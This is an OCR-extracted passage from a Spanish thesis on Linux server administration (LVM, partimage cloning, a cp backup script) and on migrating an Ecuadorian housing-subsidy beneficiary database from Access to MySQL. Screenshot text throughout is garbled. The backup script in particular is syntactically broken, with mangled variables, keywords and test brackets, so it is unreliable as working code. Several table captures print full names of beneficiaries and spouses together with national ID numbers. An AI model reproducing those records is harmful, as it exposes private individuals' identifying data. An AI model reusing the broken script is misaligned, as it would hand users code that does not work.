Figura 5.31: Configuracion de la herramienta en el proceso de instalacion de lvm2.
Fuente: Autor de tesis.
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Con el paquete instalado ya se puede empezar a configurar el disco duro para

tener un LVM y asi gestionar de mejor manera el espacio de almacenamiento de

discos y por lo tanto la capacidad de la base de datos que esta instalada en el

servidor.

C) . rick@rickserver: ~.
'Archivo Editar Ver Terminal Solapas Ayuda
rickserver:/dev# fdisk /dev/hda

No se puede abrir /dev/hda
rickserver:/dev# fdisk /dev/sda

El ndmero de cilindros para este disco estd establecido en 1305.

No hay nada malo en ello, pero es mayor que 1024, y en algunos casos

podria causar problemas con:

1) software que funciona en el inicio (p.ej. versiones antiguas de LILO)

2) software de arranque o particionamiento de otros sistemas operativos
(p.ej. FDISK de DOS, FDISK de 0S/2)

i
Figura 5.32: Configuracidn del disco duro, donde se indica el tipo de disco en el cual se trabajara.
Fuente: Autor de tesis.

En la figura anterior, se ha iniciado la configuracién con el paquete, para preparar

Orden (m para obtener ayuda):

al disco duro a tener: el volumen fisico, el grupo de volumenes y el volumen

l6gico.

El siguiente comando ingresado, muestra las particiones de discos actuales.

Orden (m para obtener ayuda): p

Disco /dev/sda: 10.7 GB, 10737418240 bytes

255 heads, 63 sectors/track, 1305 cylinders
Units = cilindros of 16865 * 512 = 8225280 bytes
Disk identifier: BOx0089aaf2

Disposit. Inicio Comienzo Fin Bloques Id Sistema
/dev/sdal 1 196 1574338+ 82 Linux swap / Solaris
/dev/sda2 197 1305 8908042+ B3 Linux

Orden (m para obtener ayuda): i

Figura 5.33: Visualizacion de las propiedades de los discos actuales con el comando “p”.

Fuente: Autor de tesis.

Se tienen 2 particiones, pero se piensa agregar un disco mas para poder crear 2

particiones adicionales, 1 extendida y 1 fisica mas, quedando de la siguiente

forma:

Idev/sdai Particién Swap
Idevisda2 Raiz / Linux
Idevisda3 Particion Extendida
Idev/sdad Particion LVM

Tabla 5.3: Tabla resumen de las particiones del equipo servidor donde se aplicara la herramienta.

Fuente: Autor de tesis.
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Para finalizar se debe cambiar el identificador a la particion /sda4, con la tecla “t” y
guardar toda la configuracion con la letra “w”. Luego de reiniciado el equipo se

tendra un LVM estable para la gestion optima del almacenamiento de datos.

5.3.2. CLONACION DE SISTEMAS.

Una vez que se tiene una maquina configurada adecuadamente, en la cual se
esté alojando informacion importante y que se necesite tener respaldos por

cualquier anomalia que pueda suceder, la solucion es clonar ese sistema.

INSTALACION DE PARTIMAGE

Este paquete es parecido a Ghost de Symantec, el cual proporciona soporte
integrado para transferir el sistema de ficheros comprimido o las imagenes de

disco, enviados a servidores centrales usando FTP.

rick@rickserver; ~

lArchivo Editar Ver Terminal Solapas Ayuda

rickserver:/home/rick# aptitude install partimage

Leyendo lista de paquetes... Hecho

Creando arbol de dependencias

Leyendo la informacidén de estado... Hecho

Leyendo la informacién de estado extendido

Inicializando el estado de los paquetes... Hecho

Leyendo las descripciones de las tareas... Hecho

Se instalaran los siguiente paquetes NUEVOS:
partimage

Se ELIMINARAN los siguientes paquetes: W
dmsetup{u} ‘

0 paquetes actualizados, 1 nuevos instalados, 1 para eliminar y 246 sin actualiz

ar.

Necesito descargar 281kB de ficheros. Después de desempaquetar se usaran 885kB.

éQuiere continuar? [Y/n/?] |}

Figura 5.34: Instalacion del paquete partimage mediante el comando aptitude.
Fuente: Autor de tesis.

Como se aprecia en la figura anterior, la instalacién de partimage empezara y

descargara todos los complementos necesarios.



rick@rickservert ~

Archive Editar Ver Terminal Sclapas Ayuda

MNecesito descargar 281kB de ficheros. Después de desempaquetar se usaran 885kB.
éQuiere continuar? [Y/n/?] Y

Escribiende infermacién de estado extendide... Hecho

Des:1 http://ftp.br.debian.org lenny/main partimage 0.6.7-1 [281kB]
Descargados 281kB en 6s (45,2kB/s).

(Leyendo la base de datos ...

119125 ficheros y directorios instalados actualmente.)
Desinstalando dmsetup ...

Procesando disparadores para man-db ...

Seleccionando el paquete partimage previamente no seleccionado.
(Leyendo la base de dates ...

119119 ficheros y directorios instalados actualmente.)
Desempaquetando partimage (de .../partimage 0.6.7-1 i386.deb) ...
Procesando disparadores para man-db ...

Configurando partimage (0.6.7-1) ...

Leyendo lista de paquetes... Hecho

Creando arbol de dependencias

Leyendo la informacidén de estado... Hecho

Leyendo la informacidén de estado extendido

Inicializando el estado de los paquetes... Hecho

Escribiende informacion de estado extendido... Hecho

Leyendo las descripciones de las tareas... Hecho

rickserver:/home/rick# N

Fuente: Autor de tesis.

. rick@rickserver; ~

Archive Editar Ver Terminal Solapas Ayuda
rick@rickserver:~$ su =
Contrasefia:

rickserver:/home/rick# partimage

Fuente: Autor de tesis.

Este comando ejecutara lo siguiente:

I 2 rick@rickserver: ~
chivo Editar Ver Terminal Solapas Ayuda
Partition Image 0.6.7
* Particién a guardar/restaurar
1

swap (v1) 1,50 GiB
8,50 GiB

* Fichero imagen a crear/usar

Accién a realizar: <Siguiente (F5)>
(*) Guardar particién en un nuevo fichero imagen|
Restaurar particién de un fichero imagen| <Acerca de>
Restaurar un MBR del fichero imagen

<Salir (F6)>
Conectar con el servidor]
IP/nombre del servidor: PuertoflZEIll
[X] Cifrar datos en la red con SSL}

Fuente: Autor de tesis.

forma facil y rapida.

1]

Figura 5.35: Proceso y finalizacion de la instalacion del paquete partimage.

Luego de finalizada la instalacion se procede a ejecutar el programa.

Figura 5.36: Acceso al super usuario root para ejecutar e iniciar la herramienta.

Figura 5.37: Pantalla principal de la herramienta Patition Image luego de haberla iniciado.

Y este es el programa que servira para realizar clonaciones de sistemas de

100

una
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Ejemplo:

Luego de escoger la particion que no esté montada aun, y que se requiera copiar
como una imagen se debe configurar algunos parametros, como por ejemplo el
nombre y ruta del archivo imagen a crearse, nivel de compresion, modo de

imagen dividida, sobrescribir sin preguntar, etc.

Para seguir con el proceso se debe presionar la tecla F5, como se aprecia en la
siguiente figura.

L 4 — — - rick@rickserver: ~
Archivo Editar Ver Terminal Solapas Ayuda

E guardar una particién a un fichero imagen E

Nivel de compresidn
) Ninguno (muy rapido + fichero muy grande)

(
(*) Gzip (.gz: medium speed + small image file)
() Bzip2 (.bz2: very slow + very small image file

Opciones Si acaba satisfactoriamente:

[ ] Esperar después de cada cambio de volumen|

<Continuar (F5)> <Salir (F6)> <Ventana Principal (F7)>

initializing the operation. [* to cancel, CtrlS to pause, CtrlQ to resume]

Figura 5.38: Pantalla de opciones y niveles de compresion disponibles.
Fuente: Autor de tesis.

Antes de iniciar el proceso se presenta una pantalla con un resumen de la unidad

a copiar para verificar si todo esta correcto.

Utilizacion de espacio:..........ceeeveans 81 % IA""'W EcRacs:VeqSleaminal i:Solopas S fyiida :

Espacio utilizado....... ..3,03 GiB uardar una’particion a:un fichero’ inagen

Espacioiitibres; vveves et .723,04 MiB Particién a guardar:. /dev/sdbl

Tamano del mapa de bits................... 955,33 KiB Tamafo de 1a particid 73 GiB=4006937088 bytes

Etiqueta Fichero de imagen actual . /ant/sdbl_image.860
QUETA. . c.oveorennannnsoesnasns Tamafo del fichero imagen: 142,24 MiB

SACtOr i S1Zal e erainan o sras@mnis 512 Espacio disponible para la imagen:..... 3,46 GiB = 3713126400 bytes
ctor: r u G L Sistema de ficheros detectado:...... fat32

ectors per cluste Ceees

Reserved Sectors count........ 32 B R L

Root directory sectors........ 0

FAT tables count.............. 2 R || Tempo transcurrido:......... 1Efzéms

Total Sectors Count........... T T

Sectors per FAT...............7636 [ || Datos copiados:................. 180,50 MiB / 3,03 GiB

jcopiando bloques de datos usados [* to cancel, CtrlS to pause, CtrlQ to resume] B

Figura 5.39: Resumen de parametros con los cuales se iniciara el proceso de creacion de la imagen.
Fuente: Autor de tesis.
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Luego de terminado el proceso, se puede verificar en la ruta que se establecio en

las primeras pantallas de partimage, que se encuentra la imagen creada.

rick@rickserver:/mnt$ 1s -la &
total 573096

drwxr-xr-x 2 root root 4096 oct 26 00:44 .
drwxr-xr-x 21 root root 4096 may 25 2009 2
w------- 1 root root 586263792 oct 26 00:44 sdbl image.000

rick@rickserver:/mnt$ i”

rick@rickserver:/mnt$

Figura 5.40: Ejecuciéon de comando Is para mostrar los ficheros obtenidos con la herramienta.
Fuente: Autor de tesis.

Para restablecer esta imagen basta cambiar la opcion en la parte de “accion a

realizar”, logrando restablecer todo el contenido de la unidad.

5.3.3. COPIAS DE SEGURIDAD.

En este ultimo punto del capitulo se pretende hacer conocer una alternativa para
las copias de seguridad de grandes discos y que contengan informacion de gran
contenido.

La idea también es evitar que se demore demasiado tiempo en generar respaldos
de discos grandes, ya que una empresa no puede esperar varios dias para

obtener una copia de seguridad.

Para el siguiente ejemplo, se realizara bajo un sistema Linux y con un disco de
unos 2TB. El procedimiento a ejecutarse requiere escoger el comando adecuado

para facilitar la creacion de la copia de seguridad.

#cp —dpRux /home /mnt/home-backup

El comando anterior, posee propiedades y pardmetros bien definidos, para

obtener una copia segura y confiable.

Pero no tendria sentido utilizar el mismo comando para grandes y pequefios
discos, es asi, que se podria crear un script pensando en crear un respaldo

mucho mas personalizado y seguro.



Cdédigo Script para realizar un respaldo méas personalizado y seguro:

#! /bin/bash

# Backup script using cp

#

If[S# 1= 2], then
echo “ Uso: script_backup partition backup-device”
echo “ Ejemplo: script_backup /home /dev /sdal “
exit

fi

VERBOSE="no”

STDOPTS="-dpRux”

LOGFILE="/var/log/Backup/simple.log”

TARGETBASE = ‘echo Si | sed -e 's;"\/;; -e 's;\/;- ;9"
FULLTARGET = “/mnt/”STARGETBASE”-backup “

DATE = ‘date’

Export BACKUPTASK = “S1to $2”

Trap cleanup 1 2 3 6

Cleanup ( )}{

Echo “Ha ocurrido un error, Se ordenara” | tee -a SLOGFILE

DATE = ‘date’

umount SFULLTARGET

echo “Se aborto el proceso de backups de ” SBACKUPTASK SDATE “ | tee —a LOGFILE
exit 1

}

if[! -d /var/log/backup ] ; then
mkdir -p /var/log/Backup
fi
echo “ Inicio simple de backups con ” SBACKUPTASK at SDATE “ | tee -a SLOGFILE

if[ ! -d SFULLTARGET ] ; then
echo “Creando punto de montaje SFULLTARGET” | tee -a SLOGFILE
mkdir -p SFULLTARGET

fi

MOUNTED = “df | grep SFULLTARGET’

if [ “xXSMOUNTED” I= “x” ] ; then
echo “ Existe una unidad montada en SFULLTARGET -exiting”| tee -a SLOGFILE
exit

fi

mount S2 SFULLTARGET

if[xS? 1= “x0” ] ; then
echo “Montaje del volumen Backup S2 fallido -exiting” | tee -a SLOGFILE
exit

fi

103

#Este bloque guarda copias de archivos importantes de sistema en todos sus #volumenes de backups, en

especial en el directorio llamado .123_admin.
if[ !—-d SFULLTARGET”/.123_admin” ] ; then
mkdir -p SFULLTARGET”/.123_admin/conf”

fi
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echo “ Respaldando los archivos de sistema en SFULLTARGET/.123_admin ” | tee —a SLOGFILE
cd /etc
cp -u passwd group shadow SFULLTARGET”/.123_admin”
if [ -d sysconfig ], then
cp -uR sysconfig SFULLTARGET”/.123_admin”
fi
find . —name “*.conf” -print | while read file ; do
cp -u Sfile SFULLTARGET”/.123_admin/conf”
done
# En este momento se estd actualizando los backups.
DATE = ‘date’
echo “ Comenzando el backup actual of SBACKUPTASK en SDATE ” | tee -a SLOGFILE
cd S1

if [ xXSVERBOSE != “xno” ] ; then
cp SSTDOPTS”v” . SFULLTARGET
else
cp SSTDOPTS . SFULLTARGET
fi
umount SFULLTARGET
DATE = ‘date’
echo “ Se ha completado el script para Backup de SBACKUPTASK en SDATE ” | tee —a SLOGFILE

Modo de utilizar:
Si por ejemplo se quisiera copiar la carpeta /mnt/videos al disco duro de la PC, se
deberia utilizar el siguiente comando:

# /usr/local/bin/script_backup /mnt/videos /dev/sdal

Y se podria tener un control méas especifico de todo el proceso de creacién de una
copia de seguridad personalizada y creada mediante un script.
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6. CAPITULO: PROPUESTA DE SEGURIDAD PARA EL
MIDUVI.

El capitulo final se enfocara a las soluciones practicas que se han analizado y se
han puesto a prueba en los servidores que manejan las bases de datos de
beneficiarios de bonos que otorga el Ministerio de Desarrollo Urbano y Vivienda.

Todas estas soluciones experimentales han sido cuidadosamente estudiadas
previamente y con la ayuda de herramientas de virtualizacién que existen en la
actualidad se ha podido generar ambiente de pruebas que se asemeja al

funcionamiento de los servidores que trabajan en produccion.

La idea de presentar las siguientes soluciones es que se pueda analizar cada una
de ellas y al final se proponga aplicarlas e implementarlas, ya que estan pensadas
para que el MIDUVI pueda explotar estas herramientas tecnolégicas a su
beneficio y que gracias a la variedad de funcionalidades que brindan, se pueda

llegar a entregar un servicio de calidad.

6.1. SOLUCION 1: MIGRACION DE DATOS DE LOS
BENEFICIARIOS DE BONOS DE VIVIENDA PARA UNA
MEJOR ADMINISTRACION

La solucion N° 1, consiste en migrar las tablas de Microsoft Access que contienen
registros de beneficiarios de bonos de vivienda a una base de datos relacional

MySQL que permite interoperabilidad con aplicaciones web.

Existe un gran problema en la migraciébn de estas tablas ya que toda la
informacion historica que posee la institucion ha sido ingresada con la ausencia
de un sistema informatico que gestione una base de datos centralizada. Si se
resume el problema se puede decir que existen 24 bases de datos ya que existen

24 provincias en el Ecuador que registran informacién de bonos de vivienda.
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6.1.1. ANALISIS DE LA MATRIZ DE DATOS DE BENEFICIARIOS.

Para tratar de comprender con que informacion se debe trabajar se puede mostrar
la tabla de Microsoft Access que aloja los registros de beneficiarios que recibieron
el bono de vivienda otorgado por el MIDUVI.

Como se visualiza en la siguiente figura, existen aproximadamente 400000
registros, de toda la historia de incentivos de vivienda entregados a las personas
ecuatorianas por parte del Ministerio de Vivienda.

&3 datos - 2 X
nom_postulante ~ ci_postulani - nom_conyuge ~ |ci_conyuge -4
ZURA LIMA VICTOR EDGAR 0400871232 CAICEDO PUENTESTAR ESTELA MARLENE 1002064168 t‘
IMBAQUINGO GUERRERO DORA CECILIA 0400895090
TERAN GUERRERO JORGE ENRIQUE 0400938106
BENAVIDES BOLANOS LUIS OLMEDO 0400964367 QUISTIAL NOGUERA MABELITA DEL PILAR 0401083966
PUENTESTAR CADENA AIDA ESPERANZA 0400978383
IMBAQUINGO VILLOTA ZOILA EULALIA 0401013727
ORTEGA GUAMIALAMA LUIS IVAN 0401016084 CHALACAN RUANO LIVA ESPERANZA 0401116884
NENGER TAIMAL ROSARIO JOSEFA 0401018551
PEREZ ARMAS HECTOR ANIBAL 0401089842 GUAMIALAMA TARAPUEZ SEGUNGA ISABEL 0401135439
ORTEGA GUAMIALAMA ALVARO DAMIAN 0401151154 OVIEDO BUSTAMANTE ROCIO DEL CARMEN 1717163096
ARTEAGA GOMEZ HERNANDO ALFREDO 0401189162 VILLOTA ESTRADA TANIA GARDENIA 0401082219
POZO GALVEZ SUSANA MAGDALENA 0401337779
POZO PAEZ MILTON SAUL 0401385182 MENESES TAIMAL LIGIA DEL ROCIO 0401385190 ¥
| Registro: 1 (» Mo | % | Buscar | —— >

Figura 6.1: Analisis de la tabla “datos” de Microsoft Access, mostrando los registros de beneficiarios.
Fuente: Autor de tesis.
Este repositorio de datos se alimenta de datos enviados de las 24 provincias de
Ecuador, mediante un proceso de carga de informacién y validacion de duplicidad
con la ayuda de una aplicacion desarrollada en Visual Basic, que se presenta en

la siguiente figura.

......

Figura 6.2: Aplicacion desarrollada en Visual Basic con la cual se realiza la carga automatica de datos.
Fuente: Autor de tesis.
Este aplicativo posee un algoritmo de busqueda que verifica si los nuevos datos
gue seran cargados no se repitan o se dupliquen. Ademas luego de realizar este
primer filtro, los registros seran insertados al repositorio de Microsoft Access, que
se lo conoce como BASENACIONAL.
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Es asi que en la actualidad se llega a tener 396286 registros de beneficiarios de
bonos de vivienda, los cuales pueden ser migrados a una base de datos
relacional, en este caso MySQL para analizar, validad, verificar y depurar ciertos
errores que posee la tabla “BASENACIONAL”.

6.1.2. CORRECCION DE ERRORES DE ALMACENAMIENTO DE DATOS.

Los principales errores que se encontraron en la “BASENACIONAL”, son los

siguientes:

# Caracteres especiales C, a,¢,1,0,0, A, E, ,0,U, ", -, =, +.

# Espacios en blanco

# Ubicacion geogréfica (Provincia - Cantdn) sin codificacion.
En la siguiente figura se pueden apreciar algunos de los errores que se
encontraron en la BASENACIONAL, es la aparicion de caracteres especiales y
hasta operadores matematicos, son algunas de las inconsistencias mas comunes
que aparecen en los nombres de los beneficiarios asi como en el de sus
conyuges.

Buscar | Reemplazar

Buscar:

(ox

[ Buscar todos ] [ Buscar siguiente ] [
182 celda(s) encontradas
DATOSexcel.xlsx  Normal C$4628 LUCIN JAIME TR-NSITO
DATOSexcel.xlsx  Normal $C$4761 SILYA NU-EZ JORGE LEON:
DATOSexcel.xlsx  Normal $C$5522 MEZA CEDE-O MARIA ALE:
DATOSexcel.xlsx  Normal $C$7232 ORTEGA RODR-GUEZ CAR|
DATOSexcel.xlsx  Normal $C$7383 MITE GUZMAN MAR-A EN

A B o C D

4628 AGUIRRE RUMBEAJULIO
4629 AGUIRRE SAAVEDRA LUIS
4630 AGUIRRE SALAMEA ELOISA FAN

4631/ AGUIRRE SALAZAR FERNANDO VICENTE

Figura 6.3: Se puede apreciar que el caracter’ -’ (guion), reemplazo a la letra A. Se aprecian 182 errores
encontrados.

EK_UWMJ) 0702601972
20! QRES HERRERA RO LVIRA 1705142766
00 464

103033021

1
1

Fuente: Autor de tesis.

En la siguiente figura se muestra que existen errores de digitacibn muy notables y
que afectan al momento de realizar busquedas personalizadas o filtros

especificos de un determinado grupo familiar o persona en especifico.



Buscar | Reemplazar
Buscar: [+ v
[ Buscar todos ] LBuscar siguiente ] [ Cerrar ]

‘e Celda Valor Férmula N
$a$168270 JUMBO MONCADA JOS E
$C$169615 CUCHIMBO CHICA RAUL HUMBERTO
$A$169628 LAINES YASQUEZ 105+
$C$174046  ALVAREZ CISNEROS RA+
$C$177507  SIGUA ESPINOZA PEDRO ORLANDO+
$A$197960  MARTINEZ MOSQUERA DANIEL JOSE+
$C$200374  SALAZAR JOS+ RAUL
$C$203655  CARCHI JOS+ ELISEO
$A$214817  MONSERRATE ELENO+ CARLOS YALENTIN
$C$215116  ALCIYAR+ BRIONES NEXAR NEPTALI
$C$216402  GOMEZ JOS+ ORLANDO
$C$224975  YUVE CEYALLOS JOS+ B
$A$244376  P+MAFIEL RODRIGUEZ NERY AURELIO
$A$248540  PALMA TORRES FERNANDO JENIN+
$A$249555 PANTA ROSADO FRANCISCO RIV4+CARDO
$A$252610 PARRALES PIGUAVE GERARDO YICENTE+
$A$254248 PAUTA ORTEGA AM+RICA
$A$255920 PEMAFIEL CARRIEL GRICELDA DEL CARMEN+
$C$257195 L+PEZ GARRIDO OSWALDO
$C$262034 MOROCHO 105+ ANGELES
$C$266820 CHICA PERIA JOS+ FRAN
$A8$269936 PORTILLA+ ACOSTA YADIRA YOLANDA
$A$277572  QUINTANA NUREZ JOS+
$C$277572 PORRAS CHICA JES+S ¥
$A$281439 RAMIREZ BRAYO BELLA DE LAS CARMEN+
$Aa$286205 REYES ABEDITA AM+RIC
$C$292504 JA+N GUEVARA ROSENDO
$A$296252 ROGEL VERA JOS+ TEOD
$A$298277 ROMERO JOS+ YICENTE
$A$299749 ROQUE AR+YALO MAR-A&
$A$302555 RUIZ GIRON JULIO C4+5
$A$302666 RUIZ JA+N JAZMIN ELO
$C$302666 GUEYARA CEDILLO JOS+ v

< >

76 celda(s) encontradas

169622 |LAINES ROMEROQ JES+S l0702112079

Figura 6.4: Resultado de busqueda del caracter + (mas), se aprecian 76 errores similares.

Fuente Autor de tesis.
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Todos estos errores se han ido corrigiendo poco a poco, ya sea de forma manual

0 automética. Se pretende seguir realizando mas depuraciones hasta contar con

una matriz de datos con la menor cantidad de errores posibles.

6.1.3. CREACION DE LA BASE DE DATOS EN MYSQL.

Para poder migrar los registros de la BASENACIONAL a una base en MySQL, se

procedi6 a instalar la version 5.0 y la herramienta de administracion

MySQL.Front.v3.1.4.24, que permitira trabajar con muchas utilidades para el

correcto manejo de la informacion.
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6.1.3.1 CREACION DE LA BASE “miduvi” Y TABLA “tbnacional”
El primer paso sera crear el script SQL para la creacion de la tabla tbnacional, tal
como se presenta en la siguiente figura. Se puede especificar el charset a UTF-8

y el tipo de tabla InnoDB.

7 MySOL-Front - [Administrador - basehack (Editor SQL)]

[E] Archivo Edtar Buscar Ver Favoritos Basededatos Extras Configuracion Wentana  Ayuda

) I; =0

kB 9 S8 P E| R

[¥) /% Explorador de objetos  [E Explorador de datos | 2] Editor SQL
CREATE TRBLE ‘tbnacionall ¢

Exploradaor:

Ipcalhost ‘HOMPOSTU® varchar{100) defawlt NULL,
= I aja *CEDPOSTU varchar(ll) NOT NULL,
# F e *NOMCONTU® varchar (100} default NULL,
5 F dh_cophouse "CEDCONYTY wvarchar (11} default NULL,
- ) * PROVINGIA® har (50} defauwlt NULL
# B db_usuario varchar (50 a -
7 *CANTON® varchar(50) default NULL,
# I miduvil . .
PROYECTO" wvarchar (150} default NULL,
# I paraprueba *C_ESTADO_ID" smallimnt (&) default NULL,
7 I prueba KEY °FK_RELATIONSHIP_37° ('C_ESTADO_ID"),
3P rs FEEY "ind cedpostu® (" CEDPOSTO)
ENGINE=InnoDB DEFAULT CHARSET=utfs;
# I hasehack ! e utLs;
[l servidores
£ Procesos
] Estado
ﬁ Usuarios
" MWariables

Figura 6.5: Vista de la ventana explorador y Editor SQL en la herramienta MySQL Front.
Fuente: Autor de tesis.

Para ejecutar la consulta sobre la base de datos seleccionada se debe presionar
la tecla F9, si la consulta no tiene ningun error en sintaxis, la tabla requerida sera

creada satisfactoriamente.

En la siguiente figura se podra visualizar la tabla con sus respectivos campos, asi
como el tipo de dato de cada uno de los mismos.

[l :._-._Q%;__Epfploragoﬂr_de Db_]:em?-.- | Explorador de datos = | Editor S0L
Tipo MULL  Por

’ C_ESTADO_ID
#7ind_cedpostu CEDPOSTU

Explorador: ~

@ [H thfiscalizadortipa ~
E thgenero

= H i

= = ;”iCK'DQE'_ATIONSHIP 5 % NOMPOSTU varchar(100) si
A ind_ e - @ CEDPOSTU varchar{11) Mo
/3 NORﬂPOSTU @ NOMCOMYU varchar{100) =

@ CEDCONYL varchar{11) Si

@ CEDPOSTU 4 PROVINCIA varchar (503 i
@ NOMCONYU @ CANTON varchar (50) si
@ CEDCONT 4 PROYECTO varchar (150} Si
@ PROVINCIA, 4 C_FSTADO_ID smallint(s) i
@ CANTON o+ thmacional_ibfle_1 C_ESTADO_ID ->t...
% PROYECTO
+ C_ESTADO_ID

4 thnacional_ibflk_1

Figura 6.6: Detalle de campos y tipos de campo de la tabla tbnacional desde MySQL Front.
Fuente: Autor de tesis.
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Siguiendo el procedimiento de importacion, se debe generar el archivo plano a
partir de la tabla datos del archivo nacional de Microsoft Access, tal como se

muestra en la siguiente figura.

& datos |

& ocho R Abrir

B provinda M Vista Disefio

= provincial Importar >

Z1 proyecto Exposta » | iXp | Excel

==z repetido ", Recopilar y actualizar datos a través de correo electronico I+ Lista de SharePoint

BN tablac Cambiar nombre fwp Archivo RTF de Word

Ocultar en este grupo d_-}) PDF o XPS...

j i Eliminar ¥2» Base de datos de Access

&  Cortar jb Archivo de texto

Figura 6.7: Opcion de Microsoft Access para importar una tabla a archivo de texto.
Fuente: Autor de tesis.

Se debe escoger el delimitador y tipos de datos a exportar y luego poner un

nombre que en este caso sera “datos.txt”.

2] Asistente para exportacion de texto X
——— Esta es toda la informaddn que el asistente necesita para exportar los datos.

Exportar al archivo:
D:\Documents and Settings\Rick\Escritorio\datos. bt

Lot | [ cowe J[ s> || e ]

Figura 6.8: Pantalla de finalizacion del proceso de exportacién al archivo texto de nombre “datos.txt”.
Fuente: Autor de tesis.

Luego de tener el archivo creado, se procede a cambiar la codificacion a UTF-8,
caso contrario, al momento de importar no reconocera los caracteres especiales,

asi como tildes y letra “ii”.

Mambre: iu:latu:us L |
Tipo: i Todos loz archivos i |
Codiicacicr: | (I - |

Figura 6.9: Seleccion de la codificacion UTF-8 en el proceso de exportacion del archivo.
Fuente: Autor de tesis.

El archivo final “datos.txt”, estara listo para el proceso de importacion a MySQL,
este proceso se lo realiza debido a la gran rapidez del gestor de base de datos al
momento de cargar datos de archivos planos.
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6.1.4. PROCESO DE IMPORTACION DE DATOS.

Este es el Ultimo paso para completar el proceso de importacion, lo primero que
se debe realizar es clic derecho en la tabla “tbnacional”, creada anteriormente.

Luego seleccionar la opcién Importar --> Archivo CSV, como se muestra en la

siguiente figura.

+ [H thfiscalizadortipo RY||-Mombre D [
2 [E tgenero JUFK_RELATIONSHIP_37  C_ESTADO_ID
== = ind_cedpostu CEDRCSTU
Sk Contraer NOMPOSTU varchar (100} si
45 ahbeir en vertana nueva Ct+h CEDPOSTU varchar(11) Mo
& ;
W inportar v Archiva cSv... warchar {100} Si
0 Exportar ¥ Archivo MS Access... varchar {11} Si
) Tabla ODEC. .. varchar (50} Si
& Copiar Chrl+C varchar (30 I

Figura 6.10: Seleccion de la opcién “Achivo CSV”, en el proceso de importacién del archivo texto.
Fuente: Autor de tesis.

Siguiendo con el proceso, se debe configurar el caracter separador ( ; ), asi como

el uso de comillas para cadenas tipo texto.

Importar @ Importar @
Cémo sincronizar Progreso
Titulo: Usar titulos Entrado Hecho
Separador. (O Tebulador
® Ceracter. Tamafio 44729392 44729392
Valores comillas: O Comillas pinguna. Hora: 00:00:42 00:00:42
@ Comillas cadena: |"
............................................... [
Datos existentes: [JActualizar
Previsualizar
Mensajes de error
i ci_postula nom_conyuge ci_conyuge &
ZU.. 0400871232 CAICEDOPUENT.. 1002064168 C
IM... 0400895090 C
TF_ N4NN93R1NA (¢
< >
Ayuda [adetontes | [ comar || | [ awda | [ <camas |

Figura 6.11: Seleccidon de criterio de sincronizacion previo a la importacion de datos.
Fuente: Autor de tesis.
Si el proceso se completd satisfactoriamente, la tabla en MySQL “tbnacional”
alojara los datos de los beneficiarios de bonos de vivienda, permitiendo en este
momento pensar en desarrollar una interfaz web, para luego poder acceder desde
el internet a este repositorio y realizar consultas sobre cualquier registro

relacionado con los bonos de vivienda.

Al poseer un motor MySQL se pueden realizar comparaciones sobre la rapidez de
consulta que este gestor ofrece frente a otros, como ejemplo se realiz6 una
consulta a la tabla recién importada obteniendo un tiempo de 0.03 segundos al

realizar la consulta a 396286 registros, como se aprecia en la siguiente figura.
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7 MySQL-Front - [Administrador - basehack (Editor SQL)] =19
(5] Archivo Editar Buscar Yer Favoritos Basededatos Extras Configuracion Yentana Ayuda mEES
B& BEMD
- B9 AADREIE B
Explorador: ~ (%) /¢ Explorador de objetos | Explorador de datos | |_| Editor SQU
B tracionl A |select 4 from thnacional;
47 FK_RELATIONSHIP_37
27 ind_redpostu
% NOMPOSTU NOMPOSTL |cepposTu_ [nomconyu |cepconvu_|provincIa |canTon |provecTO -~
& CEDPOSTU ZURA LIMA VICTOF 0400871232 CAICEDO PUENTE! 1002064168 CARCHI ESPEJO FRAILEJON 2
& NOMCONYU IMBAQUINGO GUE 0400835030 CARCHI ESPEJO FRAILEJON 2
& CEDCONYU TERAN GUERRERI 0400938106 CARCHI ESPEJO FRAILEJON 2
4 PROVINCIA BENAVIDES BOLAF 0400964367 | QUISTIAL NOGUEF 0401089966 CARCHI ESPEJO FRAILEJON 2
& CANTON PUENTESTAR CAC 0400978383 CARCHI ESPEJO FRAILEJON 2
IMBAQUINGO VILL! 0401013727 CARCHI ESPEJO FRAILEJON 2
% PROYECTO 5
% C_ESTADO_ID < 5
- Z_jj_rfmnaubﬂ(‘l {11 :nngu\tag Ejecytadas Tiempo }19 EJECVLIEIﬁI’!VJV 0.03 0 registros afetrtadgs"\lr\larrnjnrgs ¢ Dfllas: 396286 Carmpos: 8
1:9 1Lineas Conectado desde: 13:20  Inactivo: 00:00:41
[£) Administrador - bas...

Figura 6.12: Verificacidn del tiempo de consulta que se demora MySQL al devolver todos los registros de
la tabla nacional importada de Microsoft Access.
Fuente: Autor de tesis.

6.2. SOLUCION 2: MEJORES ALTERNATIVAS PARA EVITAR
ATAQUES DE RED.

6.2.1. ERRORES COMUNES QUE SE DEBE EVITAR.

No importa la experiencia ni el conocimiento que tenga un administrador de
sistemas o experto en seguridad de redes informéaticas, los errores estaran
presentes en algin momento.

Algunos seran muy simples de solucionarlos, pero otros pueden ser realmente
graves, que con suerte tomaran todo un fin de semana para solucionarlo.

La recomendacion y la clave para el éxito al administrar servidores es mitigar el
riesgo, teniendo un buen plan de salida que asegure que el dafio causado por

potenciales errores sea limitado.

EVITAR EL USO DEL “super-usuario” EN COMANDOS COMUNES
Un administrador solido, trata de olvidarse que existe el super-usuario, para
configurar y administrar los servidores.

El error mas comun de los jovenes administradores es realizar lo siguiente:
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rick@tesisrick:~

Archivo Editar Wer Terminal 5Solapas Ayuda
[rick@tesisrick ~]$ service network restart =
bash: service: command not found
[rick@tesisrick ~]% ifconfig
bash: ifconfig: command not found
[rick@tesisrick ~]$

Figura 6.13: Ejecucion de comandos de inicio de servicio de red, sin estar como usuario root.
Fuente: Autor de tesis.

Como se aprecia en la anterior figura, el administrador poco experimentado
requiere realizar una actualizacion del repositorio, pero al ejecutar un comando sin
ser super usuario se presentan mensajes de error, y la solucidn mas practica es

logearse desde el inicio de sesién como root, muy grave error.

root@tesisrick:~

Archivo Editar Mer Terminal Solapas Ayuda

[root@tesisrick ~]# service network restart

Interrupci6n de la interfaz eth@: [ oK 1]

Interrupcién de la interfaz de loopback: [ 0K

Activacidn de la interfaz de loopback: [ 0K 1]

Activando interfaz eth@:

Determinando la informacién IP para eth@... hecho. L |
[ 0K 1]

[root@tesisrick ~]# ifconfig
eth@ Link encap:Ethernet HWaddr 00:0C:29:F0:03:50

inet addr:192.168.1.5 Bcast:192.168.1.255 Mask:255.255.2
55.8

Usuario:  [(Jud

inet6 addr: fe80::208c:29ff:fef0:350/64 Scope:Link

(1]

Figura 6.14: Login como root y ejecucion del comando de inicio de servicio de red satisfactorio.
Fuente: Autor de tesis.
